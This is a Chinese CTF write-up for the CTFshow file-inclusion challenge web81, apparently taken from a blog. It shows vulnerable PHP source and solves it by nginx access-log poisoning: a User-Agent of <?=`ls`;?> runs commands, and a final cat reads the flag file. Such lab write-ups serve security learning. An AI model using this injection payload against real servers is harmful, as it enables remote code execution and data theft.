目录

  • 源码
  • 思路
  • 题解
  • 总结

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

思路

发现这题居然冒号也不让用了,试试日志包含或者session包含看看

题解

?file=/var/log/nginx/access.log

抓包试试修改user-agent=<?=`ls`;?>
发现可以写入shell

直接 cat fl0g.php


总结

水题

CTFshow 文件包含 web81相关推荐

  1. ctfshow 文件包含Web78-79

    Ctfshow文件包含漏洞 2022/4/15 漏洞简介: 文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期的文件.如果文件中存在恶意代码,无论文件是什么类型 ...

  2. CTFshow 文件包含 web82

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...

  3. CTFshow 文件包含 web80

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...

  4. ctfshow 文件包含 web 78 -117

    目录 web 78 web 79 web 80 web 81 web 82-86(环境暂时做不了) web 87 web 88 web 116 web 117 web 78 data://text/p ...

  5. CTFshow 文件包含 web116

    目录 源码 思路 题解 总结 源码 下载视频用winhex分离出png 思路 可以正常读文件 题解 直接跑字典 总结 水题

  6. CTFshow 文件包含 web87

    目录 源码 思路 题解 题解一 题解二 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11: ...

  7. CTFshow 文件包含 web117

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: yu22x # @Date: 2020-09-16 11:25:09 # ...

  8. CTFshow 文件包含 web88

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # ...

  9. CTFshow 文件包含 web79

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:10:14 # ...

最新文章

  1. 《敏捷软件开发:原则、模式与实践(C#版.修订版)》—第1章1.4节参考文献
  2. java 10 发布_Java 10 发布之后,大多数受访者仍在使用 Java 8(82%)
  3. Drools学习笔记3—Conditions / LHS—字段约束连接字段约束操作符
  4. JSFL 获取当前脚本路径,执行其他脚本
  5. 阿里AI界的新伙伴,1秒钟自动生成20000条文案
  6. Java学习笔记(二)Java基本语法
  7. 二叉树层次遍历--广度遍历和深度遍历
  8. TCP 半连接队列和全连接队列满了,怎么破?
  9. shell 脚本初习
  10. Java从入门到精通 第4章 常量与变量
  11. java什么是构造方法
  12. 视频时帧率达到15,人眼就感觉是连续的
  13. Jove:[酷站推荐] http://www.everydo.com/ 中文版的basecamp. 貌似比较方便, 共享文件进度TODO. 真希望公司内部也有一个这个...
  14. Android课程设计,生活记事本
  15. 一步步自定义视频播放器——TextureView+MediaPlayer自定义视频播放器
  16. 迅捷路由器造成计算机无法上网,迅捷(FAST)300M无线路由器设置后不能上网怎么办?...
  17. 万兆网络传输速度测试_用万兆网卡测试超五类网线传输速度,颠覆你的认知
  18. 3dmax软件怎么保存低版本的模型
  19. zabbix报警收敛
  20. js 省市级练。js 省市

热门文章

  1. chrome浏览器插件开发
  2. 想找首歌来表达心情!
  3. 高通平台msm8909 LK 实现LCD 兼容
  4. WINCE基于CH7024实现TV OUT (VGA)功能
  5. 最全面的C/C++编码规范总结
  6. Firefox 65.0.2 发布,Firefox 66 预计3月19日推出
  7. MongoDB对指定键进行排序
  8. 域名转发与域名解析有什么区别?
  9. 郑州尚学堂:JAVA常用4种排序方法
  10. Fedora 16 正式版专题